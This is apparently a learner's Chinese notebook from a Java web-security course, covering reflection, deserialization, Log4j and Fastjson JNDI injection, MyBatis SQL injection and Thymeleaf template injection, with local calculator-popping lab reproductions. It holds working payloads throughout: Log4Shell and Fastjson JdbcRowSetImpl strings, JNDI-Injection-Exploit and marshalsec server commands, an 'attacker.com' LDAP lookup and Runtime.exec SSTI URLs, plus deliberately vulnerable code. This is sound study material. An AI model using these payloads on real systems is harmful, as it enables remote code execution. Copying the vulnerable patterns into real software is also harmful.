先要获取Class对象再去获取成员变量

Field[] getfields():返回所有公共成员变量对象的数组

image-20250902095856075

获取到了public的name和age

Field[] getDeclaredFields():返回所有成员变量对象的数组

image-20250902100147239

Field getField(String name):返回单个公共成员变量对象

image-20250902100434712

public的可以获取,private和protected不行

image-20250902100521383

Field getDeclaredField(String name):返回单个成员变量对象

image-20250902100611469

这个所有的都可以

获取公共变量的值

image-20250902101140751

设置值

image-20250902101626552

Java-反射-Method 成员方法类获取

image-20250902092232342

Method[]getMethods():返回所有公共成员方法对象的数组,包括继承的

image-20250902103923198

包括内置的

Method[]getDeclaredMethods():返回所有成员方法对象的数组,不包括继承的

image-20250902104042661

Method getMethod(String name,Class<?>.. parameterTypes):返回单个公共成员方法对象

image-20250902104408674

私有的不行

image-20250902105318756

Method getDeclaredMethod(String name, Class<?>.. parameterTypes):返回单个成员方法对象

image-20250902105339095

操作

public直接操作

image-20250902111928623

私有关闭Java访问检查

image-20250902112205342

Java-反射-Constructor 构造方法类获取

image-20250902092222577

Constructor<?>[]getConstructors():返回所有公共构造方法对象的数组

image-20250902102233278

Constructor<?>[]getDeclaredConstructors():返回所有构造方法对象的数组

image-20250902102314026

Constructor<T>getConstructor(Class<?>.. parameterTypes):返回单个公共构造方法对象

image-20250902102438384

获取的是一个String name的构造方法

image-20250902102503514

不能获取私有

image-20250902102601673

Constructor<T>getDeclaredConstructor(Class<?>.. parameterTypes):返回单个构造方法对象

image-20250902102905813

获取所有的

操作

image-20250902103358089

Java-反射-不安全命令执行&反序列化链

原生对象调用

运行调用计算器出来

第三方调用

通过反射获取 Runtime 并调用 exec("calc.exe")

image-20250902171626714

先看成员方法

exec有:

image-20250902172417776

getRuntime是:

image-20250902172445356

image-20250902172236675

运行后启动计算器

就是学会怎么调用其他jar包里面的方法


第35天:安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载

1、序列化与反序列化 
序列化:将内存中的对象压缩成字节流 
反序列化:将字节流转化成内存中的对象 
 
2、为什么有序列化技术 
序列化与反序列化的设计就是用来传输数据的。 
当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。 
能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。 
应用场景 
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。 
(2) 用套接字在网络上传输对象。 
(3) 通过 RMI 传输对象的时候。 
 
3、几种创建的序列化和反序列化协议 
• JAVA 内置的 writeObject()/readObject() 
• JAVA 内置的 XMLDecoder()/XMLEncoder 
• XStream 
• SnakeYaml 
• FastJson 
• Jackson 
 
4、为什么会出现反序列化安全问题 
内置原生写法分析 
• 重写 readObject 方法 
• 输出调用 toString 方法 
 
5、反序列化利用链 
(1) 入口类的 readObject 直接调用危险方法 
(2) 入口参数中包含可控类,该类有危险方法,readObject 时调用 
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject 时调用 (4) 构造函数/静态代码块等类加载时隐式执行 
 
#Java-原生使用-序列化&反序列化 
//进行序列化对象并写入文件 ser.txt 
public static void serializeTest(Object obj) throws IOException {  ObjectOutputStream oos = new ObjectOutputStream(new 
FileOutputStream("ser.txt")); 
 oos.writeObject(obj); 

image-20250903113042259

什么是学列化和反学列化
	为什么会产生安全问题?
	可能的形式
	JAVA原生反序列化漏洞成因
Java序列化和反序列化基础
	编写一个可以序列化的类
	如何序列化类
	如何反序列化类
	serialVersionUlD
Java反射
	反射的作用
	获取字节码Class对象的三种方式
	Class对象
		Field
		Constructof
		Method
		获取类名
	案例
java代理
	静态代理
	动态代理
Java类的动态加载
	javac原理
	类加戟过程
	动态类加载方法
		Class.forname
		ClassLoader
	漏洞利用相关类
		URLClassLoader
		defineclass
		unsafe
Map集合
	Map集合类型
	Map接口
	Map使用

Java-原生使用-序列化&反序列化

✅ 什么是序列化(Serialization)

  • 定义:把 对象(Object) 转换成 字节流(Byte Stream) 的过程。
  • 目的:对象在内存里是复杂的数据结构,不能直接保存到文件或通过网络传输。序列化就是“打包”对象,让它变成一串可以保存/传输的字节。
    • 比喻:就像把一份快递(对象)装进纸箱(字节流),这样才能寄出去(保存/传输)。

UserDemo

image-20250903120611882

SerializableDemo

image-20250903120626170

其中

ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);

就是把 UserDemo 对象序列化,写进文件 ser.txt

运行之后产生文件ser.txt

image-20250903120716253

image-20250903120724415

ser.txt就是序列化的字节流数据

✅ 什么是反序列化(Deserialization)

  • 定义:把 字节流(Byte Stream) 重新转换成 对象(Object) 的过程。
  • 目的:读取已经保存到文件或通过网络接收到的对象数据,并恢复成原来的 Java 对象。
  • 比喻:就像收到快递(字节流),把纸箱拆开,又能拿到原来的物品(对象)。

DeserialiableDemo

image-20250903121944745

Java-安全问题-重写方法&触发方法

在UserDemo里面重写readObject方法

image-20250903143722442

这个时候运行反序列会执行命令启动计算器

📌 正常情况下

  1. 序列化
    • ObjectOutputStream.writeObject(obj)
    • 把对象的属性(name, age, gender 等)写入文件 ser.txt
  2. 反序列化
    • ObjectInputStream.readObject()
    • Java 内部会按照类的结构去恢复对象。
    • 如果类里没定义 readObject,就调用默认的机制(按属性一个个读回来)。

📌 这种情况

  1. 序列化 UserDemo

    • 一切正常,ser.txt 文件里保存了对象的状态。
  2. 反序列化 UserDemo

    • ObjectInputStream.readObject() 内部会去找类里的 readObject(ObjectInputStream ois) 方法。

    • 你自己写了一个重写的 readObject,而且里面有恶意代码:

      Runtime.getRuntime().exec("calc");
      
    • 于是,当反序列化 UserDemo 时,并不会仅仅“恢复数据”,而是执行了你写的 readObject,从而运行系统命令(比如弹计算器)。

📌 本质原因

  • Java 反序列化机制 信任对象自身的实现
  • 如果攻击者能传入一个恶意类(或者用现有类的链子触发恶意代码),反序列化时就会执行其中的恶意逻辑。
  • 这就是 Java 反序列化漏洞 的原理。

image-20250903144835851

加一个ois.defaultReadObject();的区别就是拿不拿原始数据

没加的执行之后是

image-20250903144920807

加了的执行之后是

image-20250903145017698

断点调试

image-20250903145509412

在要进入ois.readObject();时

image-20250903145708302

到了UserDemo里面重写的readObject方法中

image-20250903145743683

image-20250903145750803

执行了命令

toString

UserDemo的toString里面加上命令执行语句

image-20250903150550190

然后反序列化的时候会有输出,输出调用的是UserDemo的toString方法

image-20250903150630306

所以命令会被执行,如果反序列化没有输出那么就不会执行

Java-安全问题-可控其他类重写方法

image-20250903153324038

漏洞原理:
1. 反序列化 HashMap 对象时,会调用 HashMap.readObject() 恢复数据。
2. readObject 内部会调用 putVal() 插入每个键值对。
3. putVal() 会计算键的 hashCode(),这里键是 URL。
4. URL.hashCode() 会触发 DNS 查询(副作用)。
5. 如果这里用其他类或方法触发系统命令,就可能导致 RCE 漏洞。
因此,只要反序列化不可信对象,就可能被利用。

上面的漏洞的前提是 readObject

readObject 是反序列化漏洞的主要触发点,因为它允许类在被反序列化时执行任意代码


第36天:安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

Jar 仓库: 
https://mvnrepository.com/ 
 
Maven 配置: 
https://www.jb51.net/article/259780.htm
 
JNDI 注入:(见图) 
Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提
供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。 
 
#Java-三方组件-Log4J&JNDI 
Log4J: 
Apache 的一个开源项目,通过使用 Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI 组件,甚至是套接口服务器、NT 的事件记录器、UNIX Syslog 守护进
程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。 
 
Log4j-组件安全复现 
1、Maven 引用 Log4j 
2、接受用户输入值 
3、Log4j 处理错误输入 
4、利用 jndi-ldap 执行 
Test: 
String code="test"; 
String code="${java:os}"; 
logger.error("{}",code); 
String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}"; 
服务器: 
java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx 
 
#Java-三方组件-FastJson&反射 
FastJson: 
在前后端数据传输交互中,经常会遇到字符串(String)与 json,XML 等格式相互转换与解析,其中 json 以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web 输出等各种应用场景中。FastJson 是阿里巴巴的的开源库,用于对 JSON 格式的数据进行解析和打包。

image-20250904140025162

Java-三方组件-Log4J&JNDI

下载配置Maven:https://www.jb51.net/article/259780.htm

1、Maven 引用 Log4j

image-20250904160900303

复制到项目里面的pom.xml文件中去

image-20250904161058136

2、接受用户输入值

image-20250904161925716

3、Log4j 处理错误输入

image-20250904161935597

运行之后便会执行code得到

image-20250904162003312

创建javaee项目,也是先引入Log4j之后新建文件利用日志

image-20250904164710854

这个地方运行之后访问

http://localhost:8080/Log4JWebTest_war_exploded/Log4j?code=${java:os}

控制台就会显示win版本

image-20250904165331333

image-20250904165336533

4、利用 jndi-ldap 执行

就是用漏洞利用工具生成语句之后在url执行

条件:

开发源码中使用了漏洞组件如log4j

开发中使用组件的代码(触发漏洞代码)

可控变量去传递Payload实现攻击

利用工具生成payload,命令:

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

image-20250907105750144

ldap://127.0.0.1:1389/keunft

访问:

http://localhost:8080/Log4JWebTest_war/Log4j?code=$%7Bjndi:ldap://127.0.0.1:1389/keunft%7D

弹出计算器

Java-三方组件-FastJson&反射

Fastjson-组件安全复现

1、Maven引用Fastjson

image-20250905152712767

2、创建需转换类对象User

image-20250905153550697

3、使用Fastjson进行数据转换

image-20250905153611691

4、数据转换(对象转Json,Json转对象)-对象转Json(带类型)

image-20250905153950012

安全问题

新建Run类

image-20250905154134176

用来执行计算器

我们把fastjson里面数据转对象的处理文件改成Run

image-20250905154241112

执行之后就会执行计算器,发生在json转换成对象过程中

1. 背景:Fastjson 的功能设计

Fastjson 提供了一个特性:

  • 当你调用 JSON.parseObject(jsonStr) 时,如果 JSON 数据中包含 @type 字段,它会尝试根据 @type 的值 反射实例化对应的 Java 类,再把 JSON 的 key 映射到类的字段。

例如:

{
  "@type":"org.example.User",
  "age":18,
  "name":"anaxa"
}

Fastjson 就会去加载 org.example.User 类,并创建一个对象。

这本来是个功能(多态反序列化),但安全角度来看,就是一个 潜在的反序列化攻击点

2. 漏洞利用点

在代码中:

String test = "{\"@type\":\"org.example.Run\",\"age\":18,\"name\":\"anaxa\"}";
JSONObject jsonObject = JSON.parseObject(test);
  • 攻击者可以 控制 JSON 输入(比如接口入参、API 请求体)。
  • 攻击者就能指定 @type 为某个类(如你写的 org.example.Run)。
  • 如果 Run 类的构造方法或 setter 中包含恶意逻辑(比如执行 Runtime.getRuntime().exec("calc")),那么在反序列化时就会被触发。

在真实攻击里,攻击者不会知道本地项目的类,但可以利用 JDK 自带的 gadget(比如 JdbcRowSetImpl)或者通过 远程加载类(JNDI via RMI/LDAP) 来执行任意代码 —— 这就是 Fastjson RCE。


第37天:安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类

思考明白: 
什么是 jndi 注入 
为什么有 jndi 注入 
JDNI 注入安全问题 
JDNI 注入利用条件 
参考:https://blog.csdn.net/dupei/article/details/120534024 
 
#JNDI 注入-RMI&LDAP 服务 
JNDI 全称为 Java Naming and DirectoryInterface(Java 命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI 支持的服务主要有:DNS、
LDAP、CORBA、RMI 等。 
RMI:远程方法调用注册表 
LDAP:轻量级目录访问协议 
 
调用检索: 
Java 为了将 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming 
Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下,比如 RMI、LDAP 等。javax.naming.InitialContext.lookup() 
在 RMI 服务中调用了 InitialContext.lookup()的类有: 
org.springframework.transaction.jta.JtaTransactionManager.readObject() 
com.sun.rowset.JdbcRowSetImpl.execute() 
javax.management.remote.rmi.RMIConnector.connect() 
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName) 
 
在 LDAP 服务中调用了 InitialContext.lookup()的类有: 
InitialDirContext.lookup() 
Spring LdapTemplate.lookup() 
LdapTemplate.lookupContext() 
 
 
JNDI 远程调用-JNDI-Injection 
基于工具自主定义(节省下述 2,4 步骤) 
1、使用远程调用(默认端口 1389) 
new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test"); 
new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test"); 
2、使用利用工具生成调用地址 
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -

image-20250907102912558

JNDI 注入-RMI&LDAP 服务

JNDI-Injection-Exploit-1.0-SNAPSHOT-all工具

image-20250907110020159

执行调用出计算器

ldap://127.0.0.1:1389/keunft

使用漏洞利用工具生成的

image-20250907110108230

ladp的返回显示:

image-20250907110306364

rmi也可以

image-20250907110342740

1. JNDI 是什么?

JNDI(Java Naming and Directory Interface)是 Java 提供的一个 API,用来通过统一接口访问各种目录服务,比如:

  • LDAP(轻量级目录访问协议)
  • RMI(远程方法调用)
  • DNS、CORBA 等

代码示例:

InitialContext ctx = new InitialContext();
Object obj = ctx.lookup("ldap://127.0.0.1:1389/something");

👉 这行代码的意思是:
127.0.0.1:1389 的 LDAP 服务里查找一个叫 something 的对象,并把它作为 Java 对象返回。


2. 正常用途

在企业开发里,JNDI 常用于:

  • 查找数据库连接池(java:comp/env/jdbc/MyDB
  • 查找 JMS、EJB 等企业资源

本意是让应用动态从外部获取资源,而不是写死在代码里。


3. 漏洞利用点

漏洞就出在:JNDI lookup 不仅能返回已有对象,还能从远程服务器加载类并实例化

流程大致如下:

  1. 受害者程序里有代码调用了 ctx.lookup("ldap://attacker.com:1389/evil")
    • 在 Log4j 漏洞里,这个字符串来自用户输入的 ${jndi:ldap://...}
  2. 攻击者搭建一个 LDAP/RMI 服务器,返回一个“引用对象”(Reference)。
    • 这个引用对象告诉 JVM:“你需要从某个 URL 下载一个字节码类,并实例化它。”
  3. 旧版本的 JDK(如 ≤8u191)会乖乖去下载攻击者提供的类文件,加载到内存并执行构造函数或静态块。
    • 攻击者在类里写 Runtime.getRuntime().exec("calc") → 目标机器执行命令。

4. 影响范围

  • 受害条件:
    1. 程序里存在 JNDI lookup,且 lookup 的地址可控(比如日志、URL 参数传进去)。
    2. JDK 版本允许从远程加载类。
  • 修复措施:
    • 新版 JDK(>=8u191,>=11.0.1)默认禁止远程代码加载。
    • Log4j 2.15+ 默认禁用了 JNDI lookup。

5. 写的 Demo 解释

ini.lookup("rmi://127.0.0.1:1099/sm4dgh");

这会去访问本地的 RMI 注册中心(1099端口),请求一个名为 sm4dgh 的对象。

  • 如果攻击者在 127.0.0.1:1099 上运行了恶意 RMI 服务,就会返回一个恶意对象/类。
  • 旧 JDK 会加载并执行 → 触发漏洞。

marshalsec-0.0.3-SNAPSHOT-all工具

这个和上一个不一样的就是这个是自己编译恶意class文件,上一个就是自己生成

编写一个恶意类,这里注意包,要是写在这个包里面的话后门写的语句会很长,因为 JVM 在通过 JNDI + marshalsec 去加载时,不是单纯“下载文件”,它会校验类名和路径是否匹配,我们直接在src目录写一个文件

image-20250907174216132

编译得到class文件,放在网站的目录里面,访问确定可以下载

命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<你的IP>:8080/#TestJndi"
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:6767/#TestJndi"

image-20250907172918821

这里的6767是我放class文件那个网站的端口,回到开始的那个代码

image-20250907172812312

改成ldap,并且后门的是#接的名称,注意端口是1389,启动之后调用出来了计算器,rmi也可以

image-20250907180723188

整体利用链

  1. 应用程序使用 JNDI 动态查找对象
    比如:

    InitialContext ctx = new InitialContext();
    ctx.lookup("ldap://127.0.0.1:1389/TestJndi");
    

    这行代码会让程序去一个远程目录服务(RMI/LDAP)里找对象。
    本意是为了动态加载一些资源(比如数据库连接池、JMS 队列等),但被攻击者利用了。

攻击者控制 JNDI URL

  • 如果用户输入、日志内容等能拼接进 lookup(),攻击者就能传入一个恶意的 JNDI 地址:

    ldap://攻击者IP:1389/TestJndi
    
  • 程序就会去请求攻击者控制的 LDAP/RMI 服务。

恶意 LDAP/RMI 服务返回一个引用 (Reference)

  • 通过工具(比如 marshalsec),攻击者搭建一个 LDAP 服务器。

  • 当应用发来请求时,LDAP 服务返回一个 Reference 对象,其中告诉应用:

    你要的这个类在 http://攻击者IP:端口/#TestJndi 上,快去下载。

目标 JVM 自动下载并加载恶意类

  • JNDI 机制会根据 LDAP 返回的信息,从指定的 HTTP 服务器拉取 .class 文件。
  • JVM 的类加载器把远程 .class 文件加载进内存,并执行其中的静态代码块 / 构造函数。
  • 于是你的 Runtime.getRuntime().exec("calc"); 就在受害者机器上执行了。

结果:远程代码执行 (RCE)

  • 攻击者不需要本地权限,直接通过日志、请求参数等方式触发 lookup(),最终实现了任意命令执行。
  • 这就是 Log4Shell (CVE-2021-44228) 的核心原理。

总结

我让ai总结了一下:

准备恶意类文件

  • 写一个 .java 文件,里面写你希望执行的恶意操作,比如弹计算器、执行命令、下载木马等。
  • 编译成 .class 文件。

放到可访问的 HTTP/文件服务器

  • 比如你的小皮网站,或者其他能被程序访问的 URL。
  • 关键点:程序必须能通过网络访问到这个 class 文件。

触发程序去访问你的 class 文件

  • 利用 JNDI 或 Log4j 里的漏洞,让程序执行 lookup() 或解析 ${jndi:...} 时,指向你放 class 的地址。
  • 这一步就是“钥匙”,触发 JVM 去加载你的 class。

JVM 加载并执行 class 文件

  • JVM 会把你放在网站上的 class 下载到内存里,并执行 static 块或构造函数里的代码。
  • 恶意操作就完成了(比如远程命令执行 RCE)。

关键点:

  • 核心漏洞:程序无条件信任外部的 JNDI/Log4j 输入,会去下载执行 class 文件。
  • 关键就是“访问 class 文件”:只要 JVM 去加载了这个 class 文件,就会执行里面的恶意代码。
  • 准备 class 文件 + 可访问路径 + 触发程序访问 = 利用链完整。

JDK版本

jdk8的ldap和rmi都可以用

jdk11的ldap可以,rmi不行

jdk18的ldap可以,rmi不行

image-20250907102921030

JNDI 注入-FastJson 漏洞结合

写一个FastJson数据转换页面,先导入那个pom.xml

index.jsp:

image-20250907184445880

FastJson.java:

image-20250907184513484

我们利用JNDI-Injection-Exploit-1.0-SNAPSHOT-all工具

image-20250907185019617

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/nnz91k","autoCommit":true}

在输入框输入上述语句,提交,弹出计算器

两个问题,黑盒和白盒

黑盒

为什么知道是fastJson?

报错界面:

image-20250907185638685

白盒

为什么payload要这么写?

上节课用的是:

{\"@type\":\"org.example.Run\",\"age\":18,\"name\":\"anaxa\"}
  • 这是 白盒实验org.example.Run 是自己写的类,能控制 readObject() 或构造方法去执行命令(比如打印、弹计算器)。
  • @type 指向你可控的类 → payload 可以直接执行命令。

实战环境的挑战:

  • 你不能直接写自己的类,攻击者要利用 现有 JDK 类 或第三方类(gadget)。
  • 这就引出了 com.sun.rowset.JdbcRowSetImpl 这种 gadget 类。

为什么 payload 要写成这样

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/nnz91k","autoCommit":true}

每一部分作用:

字段 作用
@type="com.sun.rowset.JdbcRowSetImpl" Fastjson 反序列化时创建这个对象,选择 gadget 类
dataSourceName="ldap://..." JdbcRowSetImpl 内部会调用 InitialContext.lookup() 去访问这个 JNDI URL
autoCommit=true 触发对象内部方法 readObject(),在反序列化期间访问 dataSourceName

LDAP / RMI / InitialContext.lookup() 的联系

  1. JNDI(Java Naming and Directory Interface)

    • 是 Java 提供的一个统一查找远程对象的接口。
    • InitialContext.lookup("ldap://...") 会去 LDAP 或 RMI 服务查找对象。
  2. JdbcRowSetImpl 里调用 JNDI

    • setDataSourceName()readObject() 会触发内部代码:

      Context ctx = new InitialContext();
      ctx.lookup(dataSourceName);
      
    • 也就是说,只要设置了 dataSourceName="ldap://..." 并触发 autoCommit=true,对象就会自动去 JNDI 拉取远程对象。

  3. 远程对象可以是恶意类

    • LDAP/RMI 服务器返回的 class 文件里可以写 Runtime.getRuntime().exec("calc")
    • JVM 在加载这个类时就执行了命令。

所以 payload 的设计就是:

  1. 选一个已有类(JdbcRowSetImpl)作为 gadget。
  2. 设置属性(dataSourceName)让它触发 JNDI 调用。
  3. 设置 autoCommit 触发对象内部方法。
  4. 攻击者远程控制的 LDAP/RMI 返回恶意类 → 执行命令。

叫AI写了一个通俗易懂的解释:

白盒实验

{"@type":"org.example.Run","age":18,"name":"anaxa"}
  • org.example.Run 是你自己写的类,你知道里面有 readObject() 会弹计算器。
  • 只要 Fastjson 创建这个对象并设置属性,就会执行命令。
  • 很简单,你完全控制信和收件人。

实战环境

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/nnz91k","autoCommit":true}
  • 你不能写自己的类,只能用系统自带的 JdbcRowSetImpl
  • 你在信里放了 dataSourceNameautoCommit
  • 这里的 JdbcRowSetImpl 就像一个好奇心很重的收件人:
    • 它看到 dataSourceName(信里的地址),就会跑去远程取东西(JNDI / LDAP)。
    • autoCommit=true 是按下开关,让它真的去取东西。
  • 如果远程服务器给它一个“危险包裹”(恶意 class),收件人就会执行里面的命令(比如弹计算器)。

LDAP / RMI / InitialContext.lookup() 是什么?

  • 你写的 ldap://127.0.0.1:1389/nnz91k 就像快递地址。
  • InitialContext.lookup() 就是收件人去这个地址取快递的动作。
  • 远程服务器(LDAP/RMI)给你一个“特制快递”,里面有命令。
  • 收件人(JdbcRowSetImpl)拆开快递 → 执行命令。

** 为什么要这样写 payload**

  • @type 指向 可用的 gadget 类(系统自带的危险收件人)。
  • dataSourceName 指向 你的远程地址(放置恶意快递)。
  • autoCommit=true触发收件人去取快递

这就形成了完整的攻击链:信→收件人→远程快递→命令执行

JNDI 注入-JDK 高版本注入绕过


第38天:安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版注入

Spring Boot 是由 Pivotal 团队提供的一套开源框架,可以简化 spring 应用的创建及部署。它提供了丰富的 Spring 模块化支持,可以帮助开发者更轻松快捷地构建出企业级应用。Spring Boot 通过自动配置功能,降低了复杂性,同时支持基于 JVM 的多种开源框架,可以缩短开发时间,使开发更加简单和高效。 
 
#SpringBoot-Web 应用-路由响应 
参考:https://springdoc.cn/spring-boot/ 
1、路由映射 
@RequestMapping @GetMapping 等 
2、参数传递 
@RequestParam 
3、数据响应 
@RestController @Controller 
@RestController 注解相当于@ResponseBody+@Controller 合在一起的作用。  
 
@RestController 
public class HelloController { 
 //无参数访问响应 
 @RequestMapping("/xiaodi") 
 public String hello() { 
 return "hello xiaodi"; 
 } 
 //无参数指向 GET 方法访问响应 
 @RequestMapping(value = "/get",method = RequestMethod.GET) 
 public String helloGet(){ 
 return "hello get xiadi"; 
 } 
 //有参数指向 GET 方法访问响应 
 @RequestMapping(value = "/getp",method = RequestMethod.GET) 
 public String hellogetp(String name){ 
 return "hello get "+name; 
 } 
 //有参数指向 POST 方法访问响应 
 @RequestMapping(value = "/getpost",method = 
RequestMethod.POST) 
 public String helloGetParameters(String name){ 
 return "hello POST "+name; 
 } 
} 
 

SpringBoot-Web 应用-路由响应

创建项目:

image-20250908102755631

image-20250908102803868

image-20250908102928141

这样可以自动生成目录并放在对应目录下

image-20250908102958517

无参数

IndexController:

image-20250908103516357

启动最开始自带的文件

image-20250908103840152

会启动一个Tomcat

image-20250908103941591

访问8080端口

image-20250908104003363

访问写的路由

image-20250908104024418

返回代码中写的index

可以指定请求方法,GET和POST

image-20250908104644103

访问Anaxa报错

image-20250908104657442

GET:

image-20250908104709422

POST:

image-20250908104944111

还有一种就是直接用

@GetMapping(value = "/Anaxaget")
@PostMapping(value = "/Anaxapost")

image-20250908105148753

有参数

image-20250908105609673

image-20250908105616215

image-20250908105641679

SpringBoot-数据库应用-Mybatis

开发

创建项目

image-20250908110243981

项目添加Mybatis数据库驱动

创建项目的时候添加的三个东西已经自动添加好了

项目配置数据库连接信息

image-20250908111042702

自带的配置文件,换个yml

image-20250908111435900

创建User类用来操作数据库数据

创建User类

写上数据库里面有的列名,alt+insert

image-20250908111905908

Getter和Setter里面的方法全都写进去,toString也写进去

image-20250909111105983

创建Mapper动态接口代理类实现

创建UserMapper

image-20250908112855348

导入类

image-20250908112926441

查询数据

image-20250909111130540

创建Controller实现web访问调用

Controller文件夹下GetAdminController文件:

image-20250909111142352

运行

image-20250909111323686

访问/getadmin是查询全部数据

image-20250909120008289

访问/getid是id等于1的数据

image-20250909120034189

安全问题

SQL注入问题

模糊查询

select * from admin where id like '%${id}%'

UserMapper修改:

image-20250909121110848

GetAdminController修改:

image-20250909121136470

启动访问,有参数

image-20250909121230147

带有 IN 谓词的查询

带有动态排序功能的查询

SpringBoot-模版引擎-Thymeleaf

index.html

image-20250909161540017

ThymeleafController

image-20250909161614896

  • ThymeleafController.java
    • 定义了一个 /index 接口。
    • 请求 /index 时,方法执行,把数据 "hello xiaodi" 存入模型。
    • 返回视图名 "index"
  • index.html
    • 位于 resources/templates/ 目录下(这是 Spring Boot 默认找模板的路径)。
    • 文件名是 index.html,与控制器返回的 "index" 对应。
    • 模板引擎 Thymeleaf 负责把控制器传过来的 data 渲染到 ${data} 的位置。

👉 关系可以理解为:

请求 /index → Controller 返回视图名 "index" → 视图解析器找到 templates/index.html → Thymeleaf 把模型里的数据填进去 → 渲染成完整 HTML → 返回给浏览器。

为什么要用 Thymeleaf 模板?

如果不用模板,你的 Controller 只能:

  • 返回纯字符串(@RestController
  • 或者返回 JSON(常见于前后端分离)

但在很多场景(比如小型系统、管理后台、教学)里,需要后端直接返回一个完整的 HTML 页面,带有动态数据。

Thymeleaf 的作用就是:

  1. 模板引擎:在 HTML 中用占位符 ${xxx} 表示后端传入的数据。
  2. 与 Spring MVC 无缝集成:Spring Boot 自动配置好了 Thymeleaf,不需要手动写视图解析器。
  3. 前后端统一:同一个 index.html,你直接打开时能看到默认内容(小迪安全),而通过 Spring Boot 访问时能看到动态内容(hello xiaodi)。

就是说前端的data不固定死,想要修改就后端修改数据

image-20250909163036676

中英文界面

在一些网站修改参数就能在中英文界面切换,大部分是

?lang=zh_CN

image-20250909163741874

切换到英文

lang=en

image-20250909163811374

在原来代码之上再次创建一个html文件用来显示英文界面

image-20250909163854005

java文件加一个路径

image-20250909163915398

index:

image-20250909163947360

inden-en:

image-20250909164002088

漏洞注入点:

image-20250909165729406

这里版本问题改了好几次都没搞出来,先留在这

1️⃣ 漏洞原理

Thymeleaf 模板注入(SSTI)本质是 模板引擎在渲染阶段执行用户可控的表达式

  1. 模板表达式
<span th:text="${data}">默认文本</span>
  • ${data} 是 Thymeleaf 的表达式
  • Thymeleaf 会解析 ${…} 并替换为实际数据
  1. 漏洞发生条件
  • 用户输入被直接传入模板渲染,例如:
@RequestMapping("/")
public String langSwitch(@RequestParam String lang, Model model) {
    model.addAttribute("data", lang); // 用户输入直接作为模板变量
    return "index";                   // 固定模板
}
  • 老版本 Thymeleaf(<=3.0.11)会 解析 ${…} 为 OGNL 表达式
  • 攻击者可以在 ${…} 里调用 Java 类、方法,甚至执行系统命令
  1. SSTI 攻击链
阶段 说明
用户输入 URL 或表单输入 ${T(java.lang.Runtime).getRuntime().exec("命令")}
模板渲染 Thymeleaf 把 ${data} 当作表达式执行
代码执行 调用 Runtime.exec() 或其他 Java 方法
结果 系统命令执行,例如弹出计算器或访问文件

2️⃣ 具体 payload 示例

2.1 弹出计算器(macOS)

${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}
  • macOS 上的 Calculator 应用
  • 如果在模板中通过 th:utext="${data}" 渲染,这条命令会执行

2.2 弹出计算器(Windows)

${T(java.lang.Runtime).getRuntime().exec("calc")}
  • Windows 系统上的计算器
  • URL encode 后使用:
%24%7BT(java.lang.Runtime).getRuntime().exec('calc')%7D
  • 在浏览器访问:
http://127.0.0.1:8080/?lang=%24%7BT(java.lang.Runtime).getRuntime().exec('calc')%7D

3️⃣ 实验模板配置

index.html

<span th:utext="${data} ?: '小迪安全'">小迪安全</span>
  • th:utext 支持 HTML 内容渲染
  • ${data} 来自用户输入
  • 老版本 Thymeleaf 会执行 ${…} 表达式

Controller:

@RequestMapping("/")
public String langSwitch(@RequestParam String lang, Model model) {
    model.addAttribute("data", lang); // 用户输入直接作为模板变量
    return "index";                   // 固定模板名
}

通俗易懂版:

模板渲染就像“替换标签”

想象你有一个 HTML 模板,就像一个表格或信纸,上面有特殊标签 ${data}

<span>${data}</span>
  • 正常情况,你写了:

    model.addAttribute("data", "你好小迪");
    

    渲染后,浏览器看到:

    <span>你好小迪</span>
    

这就像你在信纸上写名字,把占位符替换成真实内容。


漏洞的本质

SSTI 的本质是:

模板引擎把用户输入当作“公式”或“代码”去算,而不是简单替换文本

举个例子:

${T(java.lang.Math).abs(-100)}
  • 老版本 Thymeleaf 会把它当作表达式执行
  • 就像 Excel 里把输入 =1+2 当公式算出 3
  • 结果渲染到页面就是 100

如果攻击者输入:

${T(java.lang.Runtime).getRuntime().exec("calc")}
  • Thymeleaf 会执行它,相当于“把命令直接跑在你的电脑上”
  • Windows 上会弹出计算器,Linux/macOS 可以打开指定程序
